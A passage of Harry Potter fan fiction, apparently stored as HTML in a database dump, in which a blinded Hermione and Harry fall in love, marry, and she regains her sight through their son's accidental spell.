flew into Hermione&#8217;s hand.&nbsp; &#8220;Tat-ta Malfoy, not this time,&#8221; she said\nwith a smirk on her face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;G-Granger?&nbsp; How...&#8221; Malfoy spluttered.&nbsp; He tried to hide his fear but it was rather\npointless since Hermione couldn&#8217;t see his face and she could easily sense his\nfear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I have my ways,&#8221;\nHermione said with a smirk.&nbsp; She walked\nup to Malfoy and raised the two wands.&nbsp;\nMalfoy tried to shield himself with his hands but Hermione simply tossed\nhis wand back to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;So long, twitchy\nlittle ferret,&#8221; she said.&nbsp; As she walked\naway from a shocked Malfoy Hermione tried rather unsuccessfully to stop the\ngiggles that escaped her lips.&nbsp; About a\nminute later, Hermione smiled as she heard two sets of very familiar footsteps\nrun up to her.&nbsp; She knew in an instant\nthat the footsteps belonged to Harry and Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hermione!&#8221; Harry\nshouted.&nbsp; &#8220;We just saw Malfoy, what\nhappened?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, I just had a\nlittle run in with him,&#8221; Hermione said as if it were the most obvious thing in\nthe world.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What did he do to\nyou?!&nbsp; I&#8217;ll kill him!&#8221; Ron hissed as he\ncracked his knuckles.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Nothing happened,\nRon,&#8221; Hermione said.&nbsp; &#8220;He tried to do\nsomething to me but I just gave him a taste of his own medicine.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Are you sure\nyou&#8217;re all right?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;m fine, Harry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well if he, or\nanybody else ever tries to hurt you,&#8221; Harry said.&nbsp; &#8220;I promise I&#8217;ll stop them and make sure you&#8217;re safe.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I can take care\nof myself, Harry,&#8221; Hermione sighed.&nbsp; But\nthen she smiled and said, &#8220;But thank you for being my knight in shining armor\nanyway.&#8221;&nbsp; She stood up on her tiptoes in\nan attempt to kiss Harry on the cheek.&nbsp;\nHowever, since she couldn&#8217;t see where Harry&#8217;s cheek was she ended up\nnailing him somewhere else.&nbsp; Hermione\nwas completely shocked the instant she realized that the soft surface her lips\ntouched was none other than Harry&#8217;s own lips.&nbsp;\nShe also felt the shock that went through Harry&#8217;s body.&nbsp; However, before she could pull away to\nwallow in her embarrassment, she felt Harry start to kiss her back and his\nhands starting to roam her back.&nbsp; Before\nshe could even remind herself that this was her best friend she was kissing,\nHermione was kissing Harry back in a flurry of passion and her hands were\nburied in Harry&#8217;s messy hair.&nbsp; Tongues\nstarted to duel as the boy and the girl tried to get closer to each other than\nthey already were.&nbsp; Their clothes were\nvery constraining and their hands soon started to fondle with each other&#8217;s\nrobes...</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron cleared his\nthroat very loudly and Harry and Hermione immediately sprung apart, their faces\nvery, <i>very</i> red.&nbsp; Ron looked at\nhis watch and said, &#8220;Hmm, two minutes.&nbsp;\nNot bad for what I&#8217;m assuming is a first kiss.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;U-um...um, I&#8217;ll\nsee y-you later, Harry,&#8221; Hermione said, her face very red.&nbsp; She quickly gathered her books and scrabbled\naway toward the sanctuary of Gryffindor tower.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry meanwhile\nsimply stood there looking shocked for about a minute when his face suddenly\nbroke into a wide grin as if he had suddenly solved the greatest mystery in the\nworld, which he probably had.&nbsp; Ron,\nseeing Harry&#8217;s reaction rolled his eyes and said, &#8220;Its about bloody time!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">All too soon, the\nnight of the graduation ball came.&nbsp; The\nball was set, like all dances in the Great Hall underneath a star filled\nceiling that simply twinkled.&nbsp;\nDumbledore had given Harry and Hermione, the Head Boy and Head Girl,\nfull charge of organizing the dance and they had made sure it would be an\naffair people would remember for a long time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione strode\nout of her dorm toward the Great Hall with a feeling of uneasiness.&nbsp; Since she couldn&#8217;t see, she had to\ncompletely rely on Parvati and Lavender to help her dress up and she had\nabsolutely no idea what she looked like.&nbsp;\nIt wasn&#8217;t that she didn&#8217;t trust their tastes but Parvati and Lavender\ntended to dress in clothes that were far too revealing and wear way too much\nmake up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Feeling nervous,\nHermione started to descend the stairs toward the Common Room as elegantly as\nshe could where she would be meeting Harry and Ron.&nbsp; As she descended the stairs, her sharp ears picked up the sudden\nsilence that came over the two boys.&nbsp;\nHermione couldn&#8217;t help but grin as she pictured their reactions, their\njaws dropping and the two of them gaping like fish.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">In fact, Harry and\nRon had plenty of reason to gape.&nbsp;\nLavender and Parvati had taken their job of dressing Hermione up\nseriously and quite frankly she looked beautiful.&nbsp; She was wearing a strap-less midnight blue dress robe that hugged\nher body closely and yet was completely decent.&nbsp; Her normally bushy hair had been tamed and pulled into an elegant\nbun though a few curls still framed her face.&nbsp;\nShe wore a very slight hint of makeup, namely a light shade of lipstick\nand a slight amount of blush on her cheeks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry was the\nfirst one to find his voice, &#8220;Hermione, you look absolutely...absolutely...&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Amazingly\nstunning,&#8221; said Ron with a huge grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Beautiful,&#8221; Harry\nfinished, a smile on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Thank you,&#8221;\nHermione said while blushing a little.&nbsp;\n&#8220;I sure wish I could say the same for you two.&#8221;&nbsp; Since she couldn&#8217;t see how her two best\nfriends were dressed, she had to rely on the reactions she heard from the other\ngirls in the common room.&nbsp; In fact,\nHarry and Ron were also looking very handsome, Harry in his bottle green dress\nrobes and Ron in his new sky blue ones.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Shall we\nproceed,&#8221; Ron said as he and Harry looped their arms around Hermione&#8217;s arms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yes, lets go,&#8221;\nshe said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The dance turned\nout to be a great success for the majority of the Hogwarts residence.&nbsp; Dinner was great, the decorations were good,\nand Dumbledore had even hired a magical orchestra.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">This was the last\nevent the seventh years would participate in at Hogwarts before commencement\ntwo days later.&nbsp; After that, the seventh\nyears would be going out to the rest of their lives.&nbsp; While eating her dinner, Hermione&#8217;s thoughts wandered toward her\nimmediate future.&nbsp; Harry, Hermione, and\nRon were going to share a flat in London where Ron would start work at the\nministry while Harry began auror training.&nbsp;\nHermione&#8217;s sudden blindness had disrupted her future plans so she wasn&#8217;t\nsure what she would be doing after graduation.&nbsp;\nWhichever, she wasn&#8217;t all that worried about her future since her\noutstanding N.E.W.T. scores meant that she could probably do anything she\nwanted.&nbsp; She would be O.K., so long as Harry\nwas with her all through the way.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;May I have this\ndance?&#8221;&nbsp; Harry&#8217;s voice cut into\nHermione&#8217;s thoughts and she was a little startled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;May I have this\ndance?&#8221; Harry asked again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Although Hermione\nknew that Harry was an abysmal dancer, she blurted out, &#8220;Yes,&#8221; as she tried to\nsuppress the quickening rate of her heartbeat.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry grinned and\npulled her out onto the dance floor just as the orchestra started to play a\nslow romantic tune.&nbsp; The two wrapped\ntheir arms around each other and started swaying softly to the music.&nbsp; All this time, Hermione was having a serious\ncase of the butterflies.&nbsp; She hadn&#8217;t\nbeen this close to Harry ever since that first kiss they had shared a few days\nago; that wonderful kiss which they had mutually decided not to talk about\nuntil the right time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">As the two\ncontinued to dance, Hermione couldn&#8217;t help but think, &#8216;Is this the right\ntime?&#8217;.&nbsp; Her heart was racing and there\nwas a lot of heat in her cheeks.&nbsp;\nFinally, Hermione struck up her courage and said, &#8220;Um, H-Harry...&#8221; when\nHarry&#8217;s lips suddenly descended on hers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">At first, Hermione\nwas too shocked to do anything, but she soon recovered and started to kiss him\nback.&nbsp; In an instant, the rest of the\nworld disappeared and all who existed were Harry Potter and Hermione\nGranger.&nbsp; They seemed to have forgotten\nthe rest of the people in the Great Hall whom all had their eyes on Harry and\nHermione, the music now silent.&nbsp; The\nkiss wasn&#8217;t as steamy as their first one, but it was still enough to convey all\nthe passion and the feelings that the two were baring to each other.&nbsp; Tears started to build up in Hermione&#8217;s eyes\nas a beautiful feeling of bliss filled her, as if Harry were the matching piece\nof the puzzle to her life.&nbsp; When the two\nfinally parted due to lack of oxygen, there was only one thing Hermione could\npossible say, &#8220; I love you, Harry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I love you too,\nHermione.&#8221;&nbsp; Abruptly, the entire hall\nbroke out into a huge applause, much to the embarrassment of the two at its\ncenter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>To be\ncontinued...</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(47, 4, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>~ Love in\nBlindness ~ Part 4</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Four years later,\nHarry and Hermione were now married, and living in a small house in the suburbs\nof London.&nbsp; Harry had just completed\nauror training but since dark wizards were in a short supply those days, he had\na lot of time off.&nbsp; Hermione was now a\nwriter and had even gotten a few of her novels published, all of them topping\nthe bestseller lists.&nbsp; Her most popular\nworks were non-fiction novels written about the trio during their Hogwarts\nyears, all written in third person from Harry&#8217;s point of view.&nbsp; Currently, she had completed the book about\ntheir fourth year and was working on the fifth-year book.&nbsp; As for Ron, he was now assistant head of the\nDepart of Magical Sports and was living with his fianc&#233;e near Diagon Alley.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Mommy! Lookit!&#8221;\ncame the delighted squeal of a two year old boy.&nbsp; Hermione sighed sadly.&nbsp;\nShe longed so much to be able to see her son&#8217;s face or whatever it was\nthat he wanted her to look at.&nbsp; She\nloved Jason Ronald Potter dearly but it was sometimes very difficult holding\nhim and not being into look at the child whom was living proof of the love\nbetween Harry and Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Mommy, lookit,&#8221;\nJason said as he leapt into Hermione&#8217;s lap.&nbsp;\nHermione smiled and hugged her son close.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I wish I could,\nlove&#8221; Hermione said.&nbsp; She bent down and\nkissed Jason on the head.&nbsp; Jason seemed\nto be waving something around in his hand.&nbsp;\nWhile Jason squirmed around jovially in his mother&#8217;s arms, Hermione&#8217;s\nthoughts wandered back to a time only a few months after they had graduated\nfrom Hogwarts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>~~~~~</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;How are you\nfeeling, love?&#8221; Harry asked.&nbsp; They were\nwalking around the lake at Hogwarts, a place that held a lot of meaning to the\ntwo of them.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;Wonderful,&#8221;\nHermione said.&nbsp; She longed to be able to\nsee the view.&nbsp; &#8220;Harry, could you\ndescribe everything?&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;OK,&#8221; Harry\nsaid as he wrapped his arms around Hermione&#8217;s waist.&nbsp; &#8220;There are stars in the sky, of course.&nbsp; There&#8217;s the Great Dipper over the lake.&nbsp; The moon&#8217;s just risen above the castle, not quite full but\nclose.&nbsp; Its reflecting on the lake very\nclearly which is very still tonight.&nbsp;\nIt&#8217;s very beautiful Hermione, though I admit, not as beautiful as you.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;Oh Harry,&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;I&#8217;m serious\nHermione.&nbsp; I love you and I&#8217;ve been\nthinking about that a lot recently.&#8221;&nbsp; He\nsuddenly seemed a little nervous as he continued talking.&nbsp; &#8220;There&#8217;s nothing I want more than to spend\nthe rest of my life telling you how much I love you.&nbsp; And I&#8217;ve been thinking about that for some time now.&nbsp; So, Hermione...&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>Hermione\nsuddenly gasped when she felt Harry slip something onto her finger.&nbsp; She felt it and realized that it could be\nnothing more than a diamond ring.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;Will you marry\nme?&#8221; Harry finished.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>After a slight\npause, Hermione whispered, &#8220;Yes,&#8221; then louder, &#8220;YES!&#8221;&nbsp; Tears were streaming down her cheeks now and a beautiful smile\nadorned her face.&nbsp; She turned around\nplanted a strong kiss on Harry&#8217;s lips.&nbsp;\nSoon their tongues were dueling and clothes were being shed as they whispered\n&#8220;I love you...I love you...&#8221; over and over again in between kisses.&nbsp; And for the first time in their lives,\nthough far from the last between the two of them, Hermione and Harry connected\nwith each other with everything they had to offer the other.&nbsp; And their love sang that night near the\nHogwarts Lake.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>~~~~~</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Mommy.&#8221;&nbsp; Jason&#8217;s voice cut into her recollections\nHermione snapped out of her thoughts.&nbsp;\nShe smiled and hugged Jason close.&nbsp;\nShe was also looking forward to their daughter that was due to come in\nabout 7 months.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yes, Jason?&#8221;\nHermione suddenly realized what it was that Jason was waving around.&nbsp; &#8220;Jason, is that daddy&#8217;s wand?&#8221; she asked,\nher voice a little stern.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yeah!&#8221; Jason\nsaid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You know you&#8217;re\nnot supposed to take it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, let him have\nhis fun, Hermione,&#8221; Harry called from the kitchen, the merriment in his voice\nobvious.&nbsp; &#8220;After all, it&#8217;s still going\nto be years before he gets one of his own.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That&#8217;s not the\npoint,&#8221; Hermione said.&nbsp; &#8220;He&#8217;s still too\nyoung to be waving such a thing.&nbsp; We\nboth know that Jason is a very powerful wizard.&nbsp; The chances of him doing something dangerous are...&#8221; Hermione\nnever had the chance to finish what she was saying, for suddenly, Jason\naccidentally blasted a burst of magic out of the wand into Hermione&#8217;s face.&nbsp; She screamed and fell backwards.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hermione!&#8221; Harry\nshouted as he dove forward and caught his wife before she hit the floor.&nbsp; &#8220;Hermione, are you all right?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione took a\nfew breaths trying to get her heartbeat back to normal, her eyes shut\ntight.&nbsp; &#8220;I-I&#8217;m OK,&#8221; she said.&nbsp; &#8220;I just suppose I was lucky.&#8221;&nbsp; She slowly opened her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">And the first\nthing she saw was a pair of very familiar green eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Shocked, Hermione\nblinked expecting to the eyes to be a part of her imagination and that she\nwould be back in the darkness again.&nbsp;\nThe eyes were still there, behind a pair of wire-rimmed glasses.&nbsp; She was looking at Harry&#8217;s face, which she\nhadn&#8217;t seen in four years.&nbsp; He still\nlooked exactly the same, only older and more refined.&nbsp; The scar on his forehead had faded and was now barely 